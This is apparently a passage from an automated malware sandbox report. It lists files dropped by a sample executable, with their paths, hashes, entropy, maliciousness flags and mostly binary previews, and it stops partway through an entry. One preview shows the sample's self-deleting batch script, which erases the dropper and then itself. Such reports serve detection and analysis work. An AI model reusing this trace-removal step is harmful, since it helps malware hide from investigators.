.#...v...%...u.O...v.....<Be-.....c. ..GpX.DnB..2.\..\|......7AL.i...-...Uj..{.....(.....ATw\|G.NT[lB.r.s?.....h...

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxStore.hxd

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	1.3117044817300383
Encrypted:	false
SSDEEP:	6144:nN0Ti0yLsUNguRnhPP2nslZHzEckzCy/u8:yTi00sJuRhmGRkmg3
MD5:	E5915D7904ABDCDE4D801BDC3803AA36
SHA1:	1B5274377458FB675A3CFEFB834E29678A7A8844
SHA-256:	B86CDE6C33FD33D546BDC68562BFBCF45DAA7A8C36ED6F74215BF7567D7720C6
SHA-512:	AF92DB170F36A155C2E2FF6BB3650A8D52395C768495BA1957EA79CCC7440A3B836476752F50ABAC2321957EF11A78602661F3E2921BBECAA3CFFDA3073EC9D0
Malicious:	false
Preview:	Nostr...4.....}.M.A34I.4V..T.8v.Q.....M.j....1,...%B..7...3J..;.._q.......0,p....p.....Q....~...A..8...A.(S.=..M2...~.'.!.D.H....#...!XZ..h].=.2...;.....M?9....<.-#S.%..... %\|..-..I..ZDw{............>.z.+.8..J.v..OC....H....(s..Gm.............m....\|GQ..b.P].c.K....Hh...2.."zF...,n.DP.....e......Hv&Hm7,..s.Q...R....c.r.:...~..m...<[.%0...YE..'.....Kv.,.-$..R(...P.T....fTc..2...h..P.....S.s]m.Y....k..=`)..%..a......x^..... .4.....fz4...A\.A.p. ..E:.. ......JT...@.?.5.r......2>.)....@3./.B.i-..G....a..w5D.gr.J.b<..Sv.....A.@.. S....;I.1..5....(Od.sg.....)......#:G.....h/d.............!7....mZ.Yc..P...O\|#.[.)Tt.AA.D.2.....w^..>.b...=.{......6..W..Nx4.A..!.`.a..E."...%......g..d..u..?....u....j.&.5.7.k....}..L.7.....)...V........r`..d26g...?d.F......D..r.2..^....#._..O.b. .Ne0dz.c.c.....\.*..i..t.....]....[..lWSi..t+K.1.......8../...J.{..:z.% J..(.0:.<..d?.;.7K...:.-....TO.<w.r.:b....aY.....&ik..(O.=@..p/I.1?.,...j0......X..P...y..1.K.

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989471634267234
Encrypted:	false
SSDEEP:	384:GBPEEURHxLoc0OULfpsAtpkudUph5yTuQdp6T95uXOcxdq/:GBPJYHvEqe7UpbyV6ruXOd
MD5:	6C7EF28A0E9FDEBADCAB2E50B23C20DE
SHA1:	FEBA5EF5F1A07FAEE5A1B75167227B5B2169B40A
SHA-256:	EF9807C7CA60C56D951005549CB1F8584A7CB7252DA1AC67653C0B4E38EDE180
SHA-512:	8B5D905AD0F488991D123BD1673368C6F1DEA0E4B5C2CAE447745EEB06531BB508692BD8403A69CF6084A287EDCE613126DB87476371262D1F1379BF0B494933
Malicious:	false
Preview:	regf...".._...[.....2... ..e..I.b..cN...9.B..\..c..U._%.l...V.......N.-...W.........\|..07.T..n4w"}D......F2..A.qk':>1.W...i%.=.w,.n\..R.l....u2...i#...I....../^..(../`3.......{..=..!....k...l..\|.9f..!4..V.u.N..B....{..B..1.+...q.y`z:Bs.Sg"..gQ...%..\|.6...eh.G.....R...zI....s....zz..;G-BfQ.X.6&hM..0..vH....u.!][.E....g$...v...jw..YR.u.}!/6W@..]8...//t....84.DK...(3..J9.Mz...5t..=.....{Z...W..-gHF2..n...<..[....=a....<.S..\.s..$`.`+....7..g.....x...-"I....Cc.+h.^..n.i.b).4u.kjcu.z.uu.$R`..~......u].:...O...W..\|x6.Z7.."...q3.t......-..X.R...(...O..-h..=.PA.Gmo5r.d&.B}Y.`..:. .?m.......4...l....s......pd..X..g..,.f..6.........D.,..D.(xD.`..O..:..-[)..)..>...q..1...df...{..4..A......../>v.....(. ..*.>../.1f?<... .W.n.k.....y.%.......:.~V.iU.$V...$....wB.z....:m2.......C..Pu..&..C.}...Rt.5;......J...{..;j...%.D.. .'..kzs .....p...'.........w".V.@.{.......,.}.}3{..}P..3..6....Je.?...-?..w6!..3..b% .#.k,T\...hN......Yw..i.nR.:w..m.$Q,5.....

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989656124816318
Encrypted:	false
SSDEEP:	384:rwS5buSLMqNrO3IDSJAIJFvkS8NnNQi2WkGlcUAiYz:lbTfrpDSJA6ONnNZLgz
MD5:	1947B2181D92074807DBD0BE5611E6C6
SHA1:	5E0BCDCA93276CD6BD3310CF403E8C62CAC1C4DF
SHA-256:	6A2DDAFEF68B3C9F444BC0ED2E29ED5ECFAB851E0DB1F8E236C610B9C8EB71F0
SHA-512:	F304EEFB4688F8357689C29992491A3AB2308A14C37444AC338020E3FA74F4A2007D5B177150E40D205C1F92229E98D91C31272FB4E584AA7321B6F6E3139813
Malicious:	false
Preview:	regf..F..?;.5.~.TQ.Hi.....A./..{..j$....W....]q.i...p...GJ..)....Npr......V.......3......%...9...e$..W..(j..x.J..."0.J`H..Q....%.[&.....X..G.G.....nQ..-.Y).S...../...ai.G^.C...7'.=.z.hR.....{..Y...#^l..a\.~.S..d...?L}..<.Y..._.znu..3".....T.....O..\.o...Bdy[.-.l....<.fu....y.g............ .....=.]V.U.k.yG:.).O.P.A....r.\|'..........j.....;K1JH......j.[A.\'N....@......V.).jo......e...j.P..UC0B(..2....0......c].j7..v2...1s.;..$.(T....\|..N.....D....._ \.....z4....u.B..2.-Z.U..p.......a+9..w..uw4....k.E.\F..X.3H.A.i..'..@..W9.iC.....a2@.K."w...uC.7.i.;.P.w...$9.]......z6na....0.+...71.Xeu....S8I...M...j...n....n....[H..-qr....U.v...y.1..u.....N/!4"ea......GU#.....#... ..).0..$0...&..n...Y....9.:.].MXg._(.."...L.....v..#..x..o@..D.M..]. a.p.T.......B..q-..A..v.........~..@.K.7=>.7.C,.B...k!76..e.8".....!l...D.m..p...Q..WT.S.n.m.ar%!....@/u{....s.....J.... E..w.......-."..1..0c.w.$..dE...G.GS...[.~.gN..NnY.!G1..p2....7J...m...a..'b.....

C:\Users\user\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979964327495254
Encrypted:	false
SSDEEP:	192:LSEeaKpAmwJp3nHr+ezkzJB+LeVQM5R0M5VDFojzZIbi:LSEK7q3nqezkzJB+qHZF2zZIbi
MD5:	AEA1CD1307E96A47F4F1CB46ABCECD13
SHA1:	7BBEFF094FD2434A970EF25E17C33DAAE7AF55B0
SHA-256:	9CB4D44104F9B9BEB376E863977FFDCD553E29C8584E4FF705F2436701755F47
SHA-512:	9F9FE5F90593E56646D525A1F8821DA185A604C9EF71C8E4C4AE5110DE14B757CB8A650ADC3CC90966C793A612BF1D71088C3EA077C8A3494BCB613A1D48E7AF
Malicious:	false
Preview:	regf.bj...3l1E.`kbk.Z.^...yJI;...v .+z../.1.G.b.......H...6. S..kT/^.f.9e.f.2q....\.Q^..<s.D.+. 9...h.t.E......l....d,....o.(.@....@R...6..@?$<..6)...N...C.J...R........:..:.B.L.....\L.e>x#.6.A......e.`..{.'.K&.L.+.R....q.y.....7...U\|.......zp...W......j].!-t.0......7>..P......G.J...=`.wgKpZ.....(0&6...S.....t..8.L.......~.EI..@4A.%%0....2e..y..S...m......L.B{U...R'.3\.a.p.%gegs....7..;.[w.?.).....6T<.<.....^_.~...l.Lo...i.z.......y.A.#g..:.d...@..Kx.).Eu'......L...?....Nx.i...,..l.oe.[S...9.5.n.T.{.....V..}..sNX........L.?.Q.....xsf.....E...g\|.[.-.Z.........cz.[X.QW..x.?...".e,.2H..lB..].B...7.b!$&.EA$...(.W...d.^.y.......i.....w....s.....R(A.x&.&.+.LN....d;x.$x....x:.........l.P.......'.'..6.u.........u.........Nk..-...\....4.8^.....i.."....#.....~....1+......+O..Rk..<.....&...._b..w.?..R.Xr!..8s'0\|./w...Kt?.....".`f.....Q..L...*o.+.TeP?_...p..Ut.!.L.[e.c....>..........&.,Q^.........g......o~)..I...8b.].R..%<E....6.RIF].7..!...]3.f..../.......

C:\Users\user\AppData\Local\Temp\.ses

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.379972944867252
Encrypted:	false
SSDEEP:	6:KcwuMKSELa4yMNcpz1cuUTUdqshMiaMHFwpCVCjxgioALBmJlAk+IDcbnRQOsVoA:QuX+4ZuK+hMiaGqCkjGid9NG36Wcii9a
MD5:	64118390A999B4B1CD6B645ED958F6E5
SHA1:	95BB424268E5B4DCE8B6B42FD974FC6AE453FE79
SHA-256:	001300B591FC04A3D50AE9840C6794D24DB9415ED7184C6E2024D7B2F0D4723E
SHA-512:	02BB6B691BD01229BB0F555D3FAEF90930947F3892B7A1517525B48340FB1D6171AA66FFF94A2276AC63BB0E8F67FE023DE4D93FCB399BEBE46CAB502785522D
Malicious:	false
Preview:	16964V.qjj?b.e.......HZ....!.E....;.^+[..3.g......]....c......Q..y......N).:gh%...jv.......K]v.bw(x..5..6...T.v7.L...........k..q_.PI.9.:...lGb...J.B..sW6S....`.W..,.lu...m...UY...x.9..4..F.<..'~.......S?.....F.<gR...Z..b...8.$]...HH..Q<..A.Ae.jP.u.....G.@.m.4NAt..4@.Z....8..W.]D........Y>...'*i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\02B31777.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\05E5009C.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\18CB7859.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992688133370801
Encrypted:	true
SSDEEP:	768:8jjEzhv++WJ0Iiy+L0yvS4RTNgvcnjWL7x1hHz+8ik8qxDRwPWA:8jYzhve0Ha4R/aL7wq8RD
MD5:	76727C2364D11505D4D21AC73EFCB88C
SHA1:	D897E36DC414E2F9DF1A54B63C169381ABBB3D6C
SHA-256:	F888C28E6F98C93176B4C03CD02B9C39CF54901216FFC9C0EB8AEF5832EA39B7
SHA-512:	5350887B34E6C0EB002B5C7156638B3E2040B1FC5FD99213AA0C474444656EC0A368D9AB59752B480A94D85451EE2D048E2C2480476C221BCC31DEED2E11C16D
Malicious:	true
Preview:	SQLit_.K...6.....GHN:.S6\|g\..#....+.Z.........;...{.=.g...?.m.....P~.xk......,iF..3b..P&.2.rp.J.W..TT..)...._-]{F.Xv...H.R.f.d.u.).uT/....H2s_._.2..Y.VZ...1D:.-......6h2..r#;.P.\..{o..;n...".f......0B.p.......6f.....\....1.!.z........fI..L..kv'd.~Fn.5. ?.'....)..:....t.&0.Wxzj...n.....jr......_.y.%.g...t.&..s.Iu.j...E...RZ.........r.....H..G...[.....a."........F...-.[..(..w{.&1R..n.l+.&[.KP. wU'.)...N]..$..\|hJ.O...Sj.Nxt4.....}..&.+.y.1a{S......'.z.h/.A...U^..r.m.....$..R.........."o...a..b.ek.u. ..8..GE.. .P]!..!..v;>..+&...[~A..... .......Xc..j..rT.U.MF<,.&c.U.^.(..n.Tu...-.I.....F...f.}._.LJ...k\..q....d.k:[c._.V_......I.~...>..0...'75}.!.S[..n..H.....C./.\.l..V..]a.N....d....[..F~'B....................u.y~..=kx..1Iu....~...B...3.....5.}.Q....:...{g.....1<.B.lm..#.WU.J~..4k..@5....7..qD.Y...0.<.3..7..=.1M;}..x.{. .y.?..T.....b.(.0......!...z....Y..3......h.iw.u.>.....<D.?.....1."........W.a.,.....\J-i.=..].z......Wl.

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997103091928642
Encrypted:	true
SSDEEP:	1536:/Bdl7+wFRwuIDe5FPc5IicdBVxf2aKG1YurfwZQ/AfEmMd:XjvyXIitaKG1YB6I8mMd
MD5:	407D2217D206A4D47945CE2888328AE5
SHA1:	8321401289488198F477F16F1E9FC4F0BA4CB8C2
SHA-256:	D7AA22B401767C78B3F37575029EEE3B51BCA6C49611171A3DA868239F0A30AF
SHA-512:	DD50B50DAF99CCE60026DEEB715E4526246AB0C3851E25A4E10B3CE7F50259C38D2F99F1E5C1329BCBECE2B9A8A109AD426EBD0DA2CC95296E5BBDCC77111C13
Malicious:	true
Preview:	1G.f...Q..'>..{.\|.......bf\|f.`...X.....T.n.H..O..j."~H.:.F.y.z<..ES5.Yz.5..n.Sq.......J...0[D_.2....q.c.....4..{.]4..i..hv.B...P.r.o.Dc?.v..(.. .T...p.h.Q..j.'P...Px:.{...{n..t.f.7...mv...m..F8...7Odf.v.$..H...n..gg;s:....".................{....-GM.n.7.>..O...........,.......~..............X.....}..Q...k;.6.......i.i.......b..;e...\|..f...Lj...].....}.;...>.....7.QOc\|4.....a..jB..$....?y.."[.......2gL...Z.u.D0WA0..`'.K....O..>.....B~.(B..tH...zWag.`.?.`./.c..e..R...z.......:..a.....(..E...9p.......6....`@.6R.....t.l....7......j...PH..!... P.y...ei.=..}.e.....c....g.Z)]7....8......+J.J.v.....R....`..?.I ....s........\|Q.p..'...&j\|...V......Y.+.]...T.......z.CQ.k.P1.oJ[.$...i..N.;,.6.pQs.k...1.8.]e.9.j..3.SY.`Hr^._Q..w..:4T.f[.4..n..M....B..#..J.}5.q.v..Wc.9...E.~v.r0.......-.:.!..b...i.,....s.....H'.E.=.&....../xS./.....i..q;a)%.....iE..4.z.\.."..Mt.E..s%Y....X.......Nf.w.gc1.j..b.p...A._....$..f[\|.PA...v..\|...pIw}L......U..v..g.C..Jj..

C:\Users\user\AppData\Local\Temp\33f77c43.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.913862510644454
Encrypted:	false
SSDEEP:	3:jdKZOUkh4E2J5xAIAcCdAHyMD2UUkh4E2J5xAIAcCdAH4KReJsjIdKZOUkh4E2JX:jdKo923f5CZMD2U923f5Cj/dKo923fdL
MD5:	44BD2EAC03320ADF111FFDC22C6FD500
SHA1:	7A92D2CC570D2142E3C5D3A0B56E96FE6D68A5A0
SHA-256:	65AA1D60702E3374148D765E907314F49FB92BB534FE21E4F7130CBF60B41C97
SHA-512:	C9A328DF799DCD1B02EE7D4FE29E739773CCA6791EB1A358B013B032A76B26860C33D5EE22FCD27FC981818CE3F6B99607E5CB937B0B8989F297E475ED4AAAD5
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\VOsoyD.exe"..if exist "C:\Users\user\AppData\Local\Temp\VOsoyD.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\33f77c43.bat"..

C:\Users\user\AppData\Local\Temp\3B1929C5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\430F7955.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\5D02384B.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\user-PC-20231004-1445.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	39142
Entropy (8bit):	7.99440396073635
Encrypted:	true
SSDEEP:	768:BdSoOZT64AmI8UFFSYM1WRQjvaKdm2e31xp2p3fAWheBCV+0zcns3JtYNYY:BYoI6sIrSYxijvaldl2pvAWhea+0zbnu
MD5:	F173CC421F2E1581AE63C0D11068EAD4
SHA1:	D15907B49E94454E60B5286013410C1BD86B7F52
SHA-256:	B7BC4378E2DAEE175CC373376EE261D4798A7491DD3D21B9961F9C491D47A4D0
SHA-512:	2E0510CB3E99A0DD8E8725FB5989B2A5EB06234FDB9A48F88DCE89DDAF7A779A48EBBC75AA9D5DCF09F9F2C3B73EC7643E150BAC2FC3F73B5DCCC121103857FC
Malicious:	true
Preview:	..T.iN.p).1.h..Vg....5...0".au.:.V..ACF....G...!.....90.7xS.LL.l....$.i...F88.....NCCP.<..Z....E..c..,~O.+.c2.N[v.=.."...J..DkJT..%...kD...!.M}Ht..!...>..4...x. .....SV .?\eq.1...Z..._.k.P.}.5...1.?..Kq.=Vg.\|.'.&h.. .Q.v(T........s..V...F}a......x.&.Q.q..(+...fZ.kc.q.p\|.npx..AW....C#f....%.9...g.]..S.5........p..F.... ......rxwC..@.Bu......&L6;...1....gW+n.o:. .8.....X.C....4..R..J.n...H.~.UG..y)......K....Z..Htg#...{(o..o.T....B..wE6...S6..Aq...G..._.K.....-..b..).~6X.i.... ?.>....o.........4..E..~....s..'1..T....{ 6.v..]..>6....y7.y"...g%.xd.c...n.QEJ}...`..^..>..$...5.(}...4..pl.R.]....C....f..q9:.`b..n.....C....../.3.......@.kU.I}vP)...;...vK.....{.)c.._02Av..FB;C.f3].......@jj...N5..{%.1..#.K........3U.....-.....c.....2.A.......y.T.c....Sp-...-.7.3..>R..du...UM..n[..Od{#.f..D.,..?VPK..H.'n..{_........~.j.o._H?w.k.2Z.n....{..x".^.....v.N.A..F...Uj.u....5.J....pZ.....d.Z.cGE.....vr.GU...=.....-H....n...PFD*7.,.GN\|7...f......!:...

C:\Users\user\AppData\Local\Temp\user-PC-20231004-1445a.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	175366
Entropy (8bit):	7.80731898039992
Encrypted:	false
SSDEEP:	3072:OUoYxTw9AeRbV08zRc9cQpUabmnYXNiKSgO5J2vcS:O89w9vMScLUayYcjJ2F
MD5:	705C3A7C64CA181FBACAC9F59987EF34
SHA1:	307DAF5FBD71ED704AEE51188A61C5660B96A680
SHA-256:	19D886B074A2BDE910BAC347DB5B62FA9AB12A03578B0A179F83AB237E997F48
SHA-512:	D9F797CB924A6E2D705DC7A4FD7904069E73054693AFFF02498D5A5ABA2CBB527E7AAFF65CB21745355185AE1FCD5F67AA7017CD4837863F5571ADFCE088CA1E
Malicious:	false
Preview:	..T.iT.AA.........w.....xH.9..D#.b....j.......[....\|_......2...P.j..iRn.!.'....j..R+........7.\P......y.I,..m.....{d.......Y/.'........2.{.C.W;.j.u.~.(i8.Z......9:4..]!.^X..B......6..!..).6.{... ..N..0...+.2o.?....8...].......b\|.......<...}.Bj.yqP....h N..2..?1.8....Q.....u.....l..zX.<'...se\|4e....F. ....5.O..^.+.$.........vy........P..qA..~..^....%JSfeWAe..NfT....G.(..Ov.3.....0.Z..5...B..w.a.o....B.>.'.wcj.:.0.O&..$2+v6' b...4l.2..%W..B.C...(.\|...g].y.ZK/..P.....tY..JdH./..Q.m.9.L....`.V...XC...%;{.P..Q.N..Ye.@..HSW.J..........P0S..G:#.[.......y(.T..\.....6...../r....Y.....-..Y.{-y.'Ke.=....Y .....E....>....)p..../..JZ....by..{.....}\.r/$@Z%...X..e.$/M.c...u......C;F..MwS.^.. .....(&..+........p....o....[.M...5...nR.b.Rz`la.....E...aC.....N%..odk.`.;q....?..CC...... ...=b\|WC...._6.2.....'..S.Ud........,)s.R.607 ....4.>.!...P@i.#.tC.%e0...?/.T..l..Y......;.^..7.....A.^....Z.7.q4.6?..r(..r.%.4.J##....(./..:..HH]..@..A

C:\Users\user\AppData\Local\Temp\user-PC-20231004-1546.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	261758
Entropy (8bit):	6.9164758993360955
Encrypted:	false
SSDEEP:	6144:8TY4+Asw0bafuMeAo7kGj6Q6+/hdJyWvPijAnnGAhoLJscqnIe8h7vmtLtndTL3M:88As+2d5/hdJyWvPijAnnGAhoLJscqnU
MD5:	F36F8C841C283886FE98B506626DEBB7
SHA1:	C28E35AC2BD0566CE844280BC006D8453CE359F3
SHA-256:	772E227909E70E31B0EAA03513C56E38D4EA1383FA81E461793B2B9B216BE30F
SHA-512:	A2D99D84BB3B4EFBABF8ABD14FB7648A90D08F035BB8B87D30C2516DB8FC8F8FFDF1DC04F3B24BEED86F8AFA9D22CD4A46893C6A17FB58A9A5E2EEE0B9C72B63
Malicious:	false
Preview:	..T.iq.CX%.N... {..]r.:SL.....7=XXVH..#...+..z.U.C.RZ.I.....:/p9.....o}1...q.....a..!.K;9Bwl..@.......2..H..4.^.....3..<]N.D-.'.l.._7Z..Q....u.q..g.&W....5.g..cG.P{`\..:L. .aF.-.H8.{Hu.....Q/..5..rr(\|l..3...U.2.....~.q..wM.....%?.W...R_.hl.......kit.-``..ye.?.L&.a....Q.EQa'.6......1.F..w.k#.\|$..l....ne.y.\.O.f..Y...d..Q....dO.d...%.9Soc.`."X....W.]\|p.L..l......U...!r.R..P..G...S.\|.$.F.2..I..;.h..@..=(%@K....qv...9.Oe.l...F....Sb....R...P....2....L4Il..GT..g.XX.oePx...14W...ij`.".;>..._8~.g...p.z...v.....3F!t....quN..R.4..tI..Aa..C./.d.4....l&.G..&f.,......?...D.j.#..@\|.0O..M.>#.....0.82...rh.Y...."-./..1y....&..B.....&V..l..D.~v~(.f3p........px!.].^l...IW...M...F...).{.....0...=GSU...........fn.L..........d<.:..........=...0.....W.............R.Y#..Q..0[......B..]......\|.;..v....r.....S.Gnh..\|..v...k<..;.K.2....#KN.....BB...HH..........=...^Y..+.. .L..._.......D..........W.F.......'.D..<.dED......*...D..>-1g6t$(.+..z.H...X.#..O."... ?

C:\Users\user\AppData\Local\Temp\user-PC-20231004-1547.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98612
Entropy (8bit):	7.998219889258551
Encrypted:	true
SSDEEP:	3072:vaj+P5JeRwdwFMR2RYoY/7geECSToA4JsgHd:vNRkw+KRnB/7g/B4SW
MD5:	1AB348C7F004ADD79F1A687E89D75E2A
SHA1:	94641FA313207ECDACD914D9FABA657D0F7446BE
SHA-256:	D099F1EB799013738D0ED471307D03C4B7EBF065CD3BE60B78F5599CEFF24C47
SHA-512:	D578CA46BC12C4AB1F543F2F8D11289EACE952D22DE6E6BA56EC00666DFC27FDDCEBAAF9776AEE09E9A248D81455074F1E1E20E212BE947093111F2E6C2EE83D
Malicious:	true
Preview:	..T.i.C..-YY......Z.Z.6.lwu..2...Ew...y.I.v.u..r.H..=.a<TZ..L....S.ag..u..Zjo..-.5..X.......A.....tAc\7....s.[/6M!G3.1$H.,r.\|.........]@.ya...[l..z."..L..Lb!..p.ZO..:.8...}.P...8... ...6...G\.2.8..Z..H.1....R..91.......d......Xq..1.S.xr[)-~........\..a%..,..o.5.O.....(..=pC.bp.....@..u...66[.K'....y=..D..F.#H.G....$_1,@.@.J.......y.......72.\W..5.0.3.g,.D..}.%#.w..~..f..-...Z...a.:,p]^%1@5..je..."i.O.\......E.\.2..........'...0F.zy...Q.;.@.X\|..&.$n.3..)3#I.....GH.$[)..1......l..bj....._.o.n]......a.q1..Ul..i..-...<}.....^.;.1B.pw.R.\v..sMP.B.L.t..%.&..p..{t......\|M)....).).9.. ...3......Ga O.,.m.Y....>..0........g..6....#...vn..P.G!.(q..av........_.oA:.wD'?.;.q....\tPF.Df...`.u.~>..<.fB.u..G`..FY............[.,%..F.Q..".........DF{WM....!^3..!..........}g..t....}.CMA..Xg ......}.3.%..{.^f....-.@k''..d.+.... ma........7......SB.>y...uk.....~..I.MP...JDX.~.hn?.....K.<C..W....a@M.W.X.u.lY:9.3.F.Q.iK..>.p....=....WE~.r50c.I9.._.....PE......

C:\Users\user\AppData\Local\Temp\user-PC-20231004-1550.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	393280
Entropy (8bit):	6.111213056417324
Encrypted:	false
SSDEEP:	6144:6LIvrrfGbxCyt8r4WefhFfNEjRLZY22FAJ5RF9QNLQ3R:9vrbgC/4WeXf0VYXFRNc3R
MD5:	D01F6525D1C96311FE5A30F3207C0BB9
SHA1:	2ECA31D28AA2972D89F61F039A0F5D1A01AFDB6B
